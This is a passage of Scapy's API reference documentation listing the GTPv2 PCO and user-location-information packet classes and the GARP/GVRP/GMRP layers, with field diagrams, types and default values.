+-+-+-+-+-+-+-+-+

                      Fig. PCO_PPP_Challenge                      


PCO_PPP_Challenge fields






	Code

	ByteField

	0



	Identifier

	ByteField

	0



	length

	ShortField

	None



	value_size

	ByteField

	0



	value

	StrFixedLenField (Cond)

	b''



	name

	StrFixedLenField

	'PPP Password Authentication Protocol'















	
class scapy.contrib.gtp_v2.PCO_P_CSCF_IPv4_Address_Request(_pkt, /, *, type=None, length=None, address=<RandIP>)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp_v2.py#L1085-L1090]

	Bases: PCO_Protocol


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |     LENGTH    |    ADDRESS    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

               Fig. PCO_P_CSCF_IPv4_Address_Request               


PCO_P_CSCF_IPv4_Address_Request fields






	type

	ShortEnumField

	None



	length

	ByteField

	None



	address

	IPField (Cond)

	<RandIP>















	
class scapy.contrib.gtp_v2.PCO_P_CSCF_IPv6_Address_Request(_pkt, /, *, type=None, length=None, address='2001:db8:0:42::')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp_v2.py#L1032-L1038]

	Bases: PCO_Protocol


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |     LENGTH    |    ADDRESS    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                               +-+-+-+-+-+-+-+-+
|                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

               Fig. PCO_P_CSCF_IPv6_Address_Request               


PCO_P_CSCF_IPv6_Address_Request fields






	type

	ShortEnumField

	None



	length

	ByteField

	None



	address

	XBitField (Cond) (128 bits)

	'2001:db8:0:42::'















	
class scapy.contrib.gtp_v2.PCO_P_CSCF_Re_selection_Support(_pkt, /, *, type=None, length=None, Options=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp_v2.py#L1109-L1114]

	Bases: PCO_Protocol


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |     LENGTH    |    OPTIONS    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

               Fig. PCO_P_CSCF_Re_selection_Support               


PCO_P_CSCF_Re_selection_Support fields






	type

	ShortEnumField

	None



	length

	ByteField

	None



	Options

	PacketListField

	[]















	
class scapy.contrib.gtp_v2.PCO_PasswordAuthentificationProtocol(_pkt, /, *, type=None, length=None, PPP=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp_v2.py#L1215-L1219]

	Bases: PCO_Protocol


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |     LENGTH    |      PPP      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

            Fig. PCO_PasswordAuthentificationProtocol             


PCO_PasswordAuthentificationProtocol fields






	type

	ShortEnumField

	None



	length

	ByteField

	None



	PPP

	PacketField

	None















	
class scapy.contrib.gtp_v2.PCO_Primary_DNS(_pkt, /, *, type=None, length=None, address=<RandIP>)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp_v2.py#L960-L964]

	Bases: PCO_Option


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |     LENGTH    |            ADDRESS            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. PCO_Primary_DNS                       


PCO_Primary_DNS fields






	type

	ByteEnumField

	None



	length

	ByteField

	None



	address

	IPField

	<RandIP>















	
class scapy.contrib.gtp_v2.PCO_Primary_NBNS(_pkt, /, *, type=None, length=None, address=<RandIP>)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp_v2.py#L967-L971]

	Bases: PCO_Option


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |     LENGTH    |            ADDRESS            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. PCO_Primary_NBNS                       


PCO_Primary_NBNS fields






	type

	ByteEnumField

	None



	length

	ByteField

	None



	address

	IPField

	<RandIP>















	
class scapy.contrib.gtp_v2.PCO_Protocol(_pkt, /)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp_v2.py#L942-L950]

	Bases: Packet


	
aliastypes

	




	
extract_padding(pkt)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp_v2.py#L944-L945]

	




	
post_build(p, pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp_v2.py#L947-L950]

	








	
class scapy.contrib.gtp_v2.PCO_QoS_Flow_Descriptions(_pkt, /, *, type=None, length=None, Options=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp_v2.py#L1180-L1185]

	Bases: PCO_Protocol


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |     LENGTH    |    OPTIONS    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                  Fig. PCO_QoS_Flow_Descriptions                  


PCO_QoS_Flow_Descriptions fields






	type

	ShortEnumField

	None



	length

	ByteField

	None



	Options

	PacketListField

	[]















	
class scapy.contrib.gtp_v2.PCO_QoS_Flow_Descriptions_With_Support_Indicator(_pkt, /, *, type=None, length=None, Options=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp_v2.py#L1140-L1145]

	Bases: PCO_Protocol


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |     LENGTH    |    OPTIONS    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

      Fig. PCO_QoS_Flow_Descriptions_With_Support_Indicator       


PCO_QoS_Flow_Descriptions_With_Support_Indicator fields






	type

	ShortEnumField

	None



	length

	ByteField

	None



	Options

	PacketListField

	[]















	
class scapy.contrib.gtp_v2.PCO_QoS_Rules_With_Support_Indicator(_pkt, /, *, type=None, length=None, Options=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp_v2.py#L1132-L1137]

	Bases: PCO_Protocol


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |     LENGTH    |    OPTIONS    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

            Fig. PCO_QoS_Rules_With_Support_Indicator             


PCO_QoS_Rules_With_Support_Indicator fields






	type

	ShortEnumField

	None



	length

	ByteField

	None



	Options

	PacketListField

	[]















	
class scapy.contrib.gtp_v2.PCO_Qos_Rules(_pkt, /, *, type=None, length=None, Options=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp_v2.py#L1162-L1167]

	Bases: PCO_Protocol


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |     LENGTH    |    OPTIONS    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                        Fig. PCO_Qos_Rules                        


PCO_Qos_Rules fields






	type

	ShortEnumField

	None



	length

	ByteField

	None



	Options

	PacketListField

	[]















	
class scapy.contrib.gtp_v2.PCO_SOF(_pkt, /, *, type=None, length=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp_v2.py#L1058-L1062]

	Bases: PCO_Protocol


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |     LENGTH    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                           Fig. PCO_SOF                           


PCO_SOF fields






	type

	ShortEnumField

	None



	length

	ByteField

	None















	
class scapy.contrib.gtp_v2.PCO_S_Nssai(_pkt, /, *, type=None, length=None, SST=0, SD=0, Hplmn_Sst=0, Hplmn_Sd=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp_v2.py#L1148-L1159]

	Bases: PCO_Protocol


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |     LENGTH    |      SST      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               SD              |   HPLMN SST   |    HPLMN SD   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                         Fig. PCO_S_Nssai                         


PCO_S_Nssai fields






	type

	ShortEnumField

	None



	length

	ByteField

	None



	SST

	ByteField (Cond)

	0



	SD

	ShortField (Cond)

	0



	Hplmn_Sst

	ByteField (Cond)

	0



	Hplmn_Sd

	ShortField (Cond)

	0















	
class scapy.contrib.gtp_v2.PCO_Secondary_DNS(_pkt, /, *, type=None, length=None, address=<RandIP>)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp_v2.py#L974-L978]

	Bases: PCO_Option


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |     LENGTH    |            ADDRESS            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. PCO_Secondary_DNS                      


PCO_Secondary_DNS fields






	type

	ByteEnumField

	None



	length

	ByteField

	None



	address

	IPField

	<RandIP>















	
class scapy.contrib.gtp_v2.PCO_Secondary_NBNS(_pkt, /, *, type=None, length=None, address=<RandIP>)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp_v2.py#L981-L985]

	Bases: PCO_Option


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |     LENGTH    |            ADDRESS            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. PCO_Secondary_NBNS                      


PCO_Secondary_NBNS fields






	type

	ByteEnumField

	None



	length

	ByteField

	None



	address

	IPField

	<RandIP>















	
class scapy.contrib.gtp_v2.PCO_Session_AMBR(_pkt, /, *, type=None, length=6, dlunit=0, dlambr=0, ulunit=0, ulambr=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp_v2.py#L1170-L1177]

	Bases: PCO_Protocol


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |     LENGTH    |     DLUNIT    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             DLAMBR            |     ULUNIT    |     ULAMBR    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                      Fig. PCO_Session_AMBR                       


PCO_Session_AMBR fields






	type

	ShortEnumField

	None



	length

	ByteField

	6



	dlunit

	ByteField

	0



	dlambr

	ShortField

	0



	ulunit

	ByteField

	0



	ulambr

	ShortField

	0















	
scapy.contrib.gtp_v2.PCO_option_dispatcher(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp_v2.py#L1020-L1025]

	Choose the correct PCO element.






	
scapy.contrib.gtp_v2.PCO_protocol_dispatcher(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp_v2.py#L1269-L1273]

	Choose the correct PCO element.






	
class scapy.contrib.gtp_v2.ULI_CGI(_pkt, /, *, MCC=b'', MNC=b'', LAC=0, CI=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp_v2.py#L350-L357]

	Bases: ULI_Field


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              MCC              |      MNC      |      LAC      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |               CI              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                           Fig. ULI_CGI                           


ULI_CGI fields






	MCC

	TBCDByteField

	b''



	MNC

	TBCDByteField

	b''



	LAC

	ShortField

	0



	CI

	ShortField

	0















	
class scapy.contrib.gtp_v2.ULI_ECGI(_pkt, /, *, MCC=b'', MNC=b'', SPARE=0, ECI=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp_v2.py#L391-L398]

	Bases: ULI_Field


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              MCC              |      MNC      | SPARE |  ECI  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. ULI_ECGI                           


ULI_ECGI fields






	MCC

	TBCDByteField

	b''



	MNC

	TBCDByteField

	b''



	SPARE

	BitField  (4 bits)

	0



	ECI

	BitField  (28 bits)

	0















	
class scapy.contrib.gtp_v2.ULI_Field(_pkt, /)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp_v2.py#L343-L347]

	Bases: Packet

Base class for ULI fields.


	
aliastypes

	




	
extract_padding(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp_v2.py#L346-L347]

	








	
class scapy.contrib.gtp_v2.ULI_LAI(_pkt, /, *, MCC=b'', MNC=b'', LAC=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp_v2.py#L401-L407]

	Bases: ULI_Field


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              MCC              |      MNC      |      LAC      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                           Fig. ULI_LAI                           


ULI_LAI fields






	MCC

	TBCDByteField

	b''



	MNC

	TBCDByteField

	b''



	LAC

	ShortField

	0















	
class scapy.contrib.gtp_v2.ULI_RAI(_pkt, /, *, MCC=b'', MNC=b'', LAC=0, RAC=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp_v2.py#L370-L379]

	Bases: ULI_Field


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              MCC              |      MNC      |      LAC      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |              RAC              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                           Fig. ULI_RAI                           


ULI_RAI fields






	MCC

	TBCDByteField

	b''



	MNC

	TBCDByteField

	b''



	LAC

	ShortField

	0



	RAC

	ShortField

	0















	
class scapy.contrib.gtp_v2.ULI_SAI(_pkt, /, *, MCC=b'', MNC=b'', LAC=0, SAC=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp_v2.py#L360-L367]

	Bases: ULI_Field


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              MCC              |      MNC      |      LAC      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |              SAC              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                           Fig. ULI_SAI                           


ULI_SAI fields






	MCC

	TBCDByteField

	b''



	MNC

	TBCDByteField

	b''



	LAC

	ShortField

	0



	SAC

	ShortField

	0















	
class scapy.contrib.gtp_v2.ULI_TAI(_pkt, /, *, MCC=b'', MNC=b'', TAC=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp_v2.py#L382-L388]

	Bases: ULI_Field


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              MCC              |      MNC      |      TAC      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                           Fig. ULI_TAI                           


ULI_TAI fields






	MCC

	TBCDByteField

	b''



	MNC

	TBCDByteField

	b''



	TAC

	ShortField

	0















	
scapy.contrib.gtp_v2.len_options(pkt)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp_v2.py#L1028-L1029]

	






            

          

      

      

    

  

    
      
          
            
  
scapy.contrib.gxrp


GARP - Generic Attribute Register Protocol


	author:

	Sergey Matsievskiy, matsievskiysv@gmail.com



	description:

	This module provides Scapy layers for the GARP protocol and its
two applications: GARP VLAN Registration Protocol (GVRP) and
GARP Multicast Registration Protocol (GMRP)


	normative references:
	
	IEEE 802.1D 2004 - Media Access Control (MAC) Bridges


	IEEE 802.1Q 1998 - Virtual Bridged Local Area Networks














	
class scapy.contrib.gxrp.GARP(_pkt, /, *, proto_id=1, msgs=[], end_mark=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gxrp.py#L178-L189]

	Bases: Packet

GARP packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            PROTO ID           |              MSGS             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    END MARK   |
+-+-+-+-+-+-+-+-+

                            Fig. GARP                             


GARP fields






	proto_id

	ShortField

	1



	msgs

	PacketListField

	[]



	end_mark

	ByteField

	0















	
class scapy.contrib.gxrp.GARP_ATTRIBUTE(_pkt, /, *, len=None, event=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gxrp.py#L87-L141]

	Bases: Packet

GARP attribute container


	
aliastypes

	




	
do_dissect(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gxrp.py#L112-L116]

	




	
extract_padding(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gxrp.py#L118-L120]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      LEN      |     EVENT     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. GARP_ATTRIBUTE                        


GARP_ATTRIBUTE fields






	len

	LenField

	None



	event

	EnumField

	0











	
guess_payload_class(payload)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gxrp.py#L122-L141]

	








	
class scapy.contrib.gxrp.GARP_MESSAGE(_pkt, /, *, type=1, attrs=[], end_mark=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gxrp.py#L154-L167]

	Bases: Packet

GARP message container


	
aliastypes

	




	
extract_padding(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gxrp.py#L166-L167]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |             ATTRS             |    END MARK   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. GARP_MESSAGE                         


GARP_MESSAGE fields






	type

	ByteField

	1



	attrs

	PacketListField

	[]



	end_mark

	ByteField

	0















	
class scapy.contrib.gxrp.GMRP_GROUP(_pkt, /, *, addr=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gxrp.py#L52-L63]

	Bases: Packet

GMRP Group


	
aliastypes

	




	
extract_padding(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gxrp.py#L62-L63]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              ADDR                             |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. GMRP_GROUP                          


GMRP_GROUP fields






	addr

	MACField

	None















	
class scapy.contrib.gxrp.GMRP_SERVICE(_pkt, /, *, event=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gxrp.py#L66-L84]

	Bases: Packet

GMRP Service


	
aliastypes

	




	
extract_padding(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gxrp.py#L83-L84]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     EVENT     |
+-+-+-+-+-+-+-+-+

                        Fig. GMRP_SERVICE                         


GMRP_SERVICE fields






	event

	EnumField

	0















	
class scapy.contrib.gxrp.GVRP(_pkt, /, *, vlan=1)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gxrp.py#L38-L49]

	Bases: Packet


	
aliastypes

	




	
extract_padding(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gxrp.py#L48-L49]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              VLAN             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                            Fig. GVRP                             


GVRP fields






	vlan

	ShortField

	1















	
class scapy.contrib.gxrp.LLC_GARP(_pkt, /, *, dsap=0, ssap=0, ctrl=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gxrp.py#L192-L197]

	Bases: LLC

Dummy class for layer binding


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
